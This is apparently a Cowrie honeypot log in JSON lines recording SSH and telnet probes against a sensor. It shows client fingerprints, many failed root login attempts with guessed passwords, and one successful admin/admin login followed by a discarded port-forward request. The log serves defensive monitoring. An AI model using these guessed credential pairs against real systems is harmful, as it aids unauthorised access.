{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:b2:99:9c:7e:94:2f:21:fc:9b:1e:b3:ec:47:75:d3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAilwBkAMj2zQ8mIUW48Tom0Y6/UGLkBusIkkcexAD4K","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:16.867673Z","src_ip":"91.208.184.128","session":"f0741d46c3a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:5a:1b:18:b5:af:bc:f6:0c:c4:41:0f:3e:c6:7e:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEtV2dR+CVPkmXnYR96mxXvTg3MAEGJn/2bgmUWs1KlWARRToREO+VGCWeY96Al0bLfe4mBsZ6krfdNW+i3FB4V3zPrv+HwMChGdQOazFuDEMotPEP5ijaXPMSiZhaPCouleHt0C3e4aUw7lgKSCejiQ4Nh1BOdViXDK3nvQpK2DZxe+WNGZ2fQUbdYJDm/+jt3XuXej4VoCDwXu+MqYj5g+Mvb8lIWATi7lOST/VRKRBNLmIOMtrahfXLMr0GWcdgwBx5bLVgEWXmdYZc+3p+gRR0nLzq6FR0IzhrGtLEEZSBcGRdfMnwAqiXzBR2kBK36CFwJAJ6WYJrH3Q1WnNt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:5a:1b:18:b5:af:bc:f6:0c:c4:41:0f:3e:c6:7e:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:17.011705Z","src_ip":"91.208.184.128","session":"f0741d46c3a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:5a:1b:18:b5:af:bc:f6:0c:c4:41:0f:3e:c6:7e:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEtV2dR+CVPkmXnYR96mxXvTg3MAEGJn/2bgmUWs1KlWARRToREO+VGCWeY96Al0bLfe4mBsZ6krfdNW+i3FB4V3zPrv+HwMChGdQOazFuDEMotPEP5ijaXPMSiZhaPCouleHt0C3e4aUw7lgKSCejiQ4Nh1BOdViXDK3nvQpK2DZxe+WNGZ2fQUbdYJDm/+jt3XuXej4VoCDwXu+MqYj5g+Mvb8lIWATi7lOST/VRKRBNLmIOMtrahfXLMr0GWcdgwBx5bLVgEWXmdYZc+3p+gRR0nLzq6FR0IzhrGtLEEZSBcGRdfMnwAqiXzBR2kBK36CFwJAJ6WYJrH3Q1WnNt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:17.015343Z","src_ip":"91.208.184.128","session":"f0741d46c3a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:bf:86:7f:92:29:ca:33:e7:96:bc:01:9d:ed:11:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCP/jyE07GtVKAG2EepbtWudWrbG5u/MVtfDP7o0gZuCTCEdTu+0OwVwDpLubZ5tYU4jfYqSlzOJd/rc/Az93hI8xB8HAGyRdRWXsaLxn2InIFqx/Jyj8I7vnYly1uEaTkXGaysCDrNemGYCdMLoMagB8PQryueuQWa57pKMaL0MbQ8ZrqNX0JCVPJnLtJr7mmvQk+GTNAtxvQGTrX5VSaYur0btLS+6OBoehMWLezT9BuC/44MBeVJxyS2Eh9do28Ve6mCDiKTthSFlpIEosX2nn6eMYW0nO2en05+u1fQed1Sn2HltgaNLS3Tje+z2kZg3nw5RkoAATJh7wHkGdkJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:bf:86:7f:92:29:ca:33:e7:96:bc:01:9d:ed:11:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:17.159018Z","src_ip":"91.208.184.128","session":"f0741d46c3a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:bf:86:7f:92:29:ca:33:e7:96:bc:01:9d:ed:11:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCP/jyE07GtVKAG2EepbtWudWrbG5u/MVtfDP7o0gZuCTCEdTu+0OwVwDpLubZ5tYU4jfYqSlzOJd/rc/Az93hI8xB8HAGyRdRWXsaLxn2InIFqx/Jyj8I7vnYly1uEaTkXGaysCDrNemGYCdMLoMagB8PQryueuQWa57pKMaL0MbQ8ZrqNX0JCVPJnLtJr7mmvQk+GTNAtxvQGTrX5VSaYur0btLS+6OBoehMWLezT9BuC/44MBeVJxyS2Eh9do28Ve6mCDiKTthSFlpIEosX2nn6eMYW0nO2en05+u1fQed1Sn2HltgaNLS3Tje+z2kZg3nw5RkoAATJh7wHkGdkJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:17.162971Z","src_ip":"91.208.184.128","session":"f0741d46c3a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:b8:c4:76:6c:f6:12:88:bb:f2:8d:e0:d8:d6:19:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG+Ma+XaAwkdSzuCu4oB7ja3BdguRLU4giarHdmCU269FIrVXf2dNC+X7p8gCoXQXGghPZRvhCO9f5zF7tDH00EZj5HEoJ6zQIscbS0IqEIkEwtlIV57m/2OBgiJmFzi5Ff2B+k8AEgb8qTQkfNQ1gqiOPDtbUrfxJ9CLFIvkPujRLUVFF4F5cWMeLVYI0imoNvvkMPVhmYLBuKQ14uKBTKq6Vm/8LJ3gPVfXsd+BPvp24JFHZ/sV6er5XyqGj4Q1nHY53B6rIpK1+ENhrn1vpU/QWWzObkieDuDjyC2aGfqiIS/LiHjcS56Jjt7LXJZo8Wb7E+FAnvUp8AwH0lMCj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:b8:c4:76:6c:f6:12:88:bb:f2:8d:e0:d8:d6:19:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:17.306966Z","src_ip":"91.208.184.128","session":"f0741d46c3a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:b8:c4:76:6c:f6:12:88:bb:f2:8d:e0:d8:d6:19:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG+Ma+XaAwkdSzuCu4oB7ja3BdguRLU4giarHdmCU269FIrVXf2dNC+X7p8gCoXQXGghPZRvhCO9f5zF7tDH00EZj5HEoJ6zQIscbS0IqEIkEwtlIV57m/2OBgiJmFzi5Ff2B+k8AEgb8qTQkfNQ1gqiOPDtbUrfxJ9CLFIvkPujRLUVFF4F5cWMeLVYI0imoNvvkMPVhmYLBuKQ14uKBTKq6Vm/8LJ3gPVfXsd+BPvp24JFHZ/sV6er5XyqGj4Q1nHY53B6rIpK1+ENhrn1vpU/QWWzObkieDuDjyC2aGfqiIS/LiHjcS56Jjt7LXJZo8Wb7E+FAnvUp8AwH0lMCj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:17.310976Z","src_ip":"91.208.184.128","session":"f0741d46c3a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:17.458180Z","src_ip":"91.208.184.128","session":"f0741d46c3a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38166,"dst_ip":"10.17.0.5","dst_port":23,"session":"2840b5c44814","protocol":"telnet","message":"New connection: 152.42.224.71:38166 (10.17.0.5:23) [session: 2840b5c44814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:20.787670Z"}
{"eventid":"cowrie.session.connect","src_ip":"44.204.45.238","src_port":37696,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e1d42ef1ded","protocol":"ssh","message":"New connection: 44.204.45.238:37696 (10.17.0.5:22) [session: 7e1d42ef1ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:22.035259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:22.940513Z","src_ip":"44.204.45.238","session":"7e1d42ef1ded","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:22.944343Z","src_ip":"44.204.45.238","session":"7e1d42ef1ded","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:24.529108Z","src_ip":"44.204.45.238","session":"7e1d42ef1ded","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51810,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c09785af8e","protocol":"telnet","message":"New connection: 152.42.224.71:51810 (10.17.0.5:23) [session: 25c09785af8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:39.153646Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":58088,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ce162487317","protocol":"ssh","message":"New connection: 103.115.56.3:58088 (10.17.0.5:22) [session: 4ce162487317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:48.388656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:48.403508Z","src_ip":"103.115.56.3","session":"4ce162487317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:48.607169Z","src_ip":"103.115.56.3","session":"4ce162487317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wsxCDE#","message":"login attempt [root/2wsxCDE#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:49.474256Z","src_ip":"103.115.56.3","session":"4ce162487317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:50.699058Z","src_ip":"103.115.56.3","session":"4ce162487317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":52448,"dst_ip":"10.17.0.5","dst_port":22,"session":"212c4efea49c","protocol":"ssh","message":"New connection: 87.251.64.176:52448 (10.17.0.5:22) [session: 212c4efea49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:54.899683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:54.906163Z","src_ip":"87.251.64.176","session":"212c4efea49c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:55.014098Z","src_ip":"87.251.64.176","session":"212c4efea49c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:55.347866Z","src_ip":"87.251.64.176","session":"212c4efea49c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:55.447315Z","session":"212c4efea49c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:55.545567Z","src_ip":"87.251.64.176","session":"212c4efea49c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:55.677176Z","src_ip":"87.251.64.176","session":"212c4efea49c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":49922,"dst_ip":"10.17.0.5","dst_port":22,"session":"d90a2ea9192b","protocol":"ssh","message":"New connection: 170.106.191.31:49922 (10.17.0.5:22) [session: d90a2ea9192b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:04.455610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:04.460677Z","src_ip":"170.106.191.31","session":"d90a2ea9192b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:04.529976Z","src_ip":"170.106.191.31","session":"d90a2ea9192b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aurelien","message":"login attempt [root/aurelien] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:04.836745Z","src_ip":"170.106.191.31","session":"d90a2ea9192b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:05.919120Z","src_ip":"170.106.191.31","session":"d90a2ea9192b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.34426784515381,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:16.131791Z","src_ip":"152.42.224.71","session":"2840b5c44814","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":33334,"dst_ip":"10.17.0.5","dst_port":22,"session":"008494bb8099","protocol":"ssh","message":"New connection: 147.45.199.80:33334 (10.17.0.5:22) [session: 008494bb8099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:28.509351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:28.514359Z","src_ip":"147.45.199.80","session":"008494bb8099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:28.610037Z","src_ip":"147.45.199.80","session":"008494bb8099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima2003","message":"login attempt [root/dima2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:28.895721Z","src_ip":"147.45.199.80","session":"008494bb8099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:29.993723Z","src_ip":"147.45.199.80","session":"008494bb8099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.25601315498352,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:39.409544Z","src_ip":"152.42.224.71","session":"25c09785af8e","protocol":"telnet"}
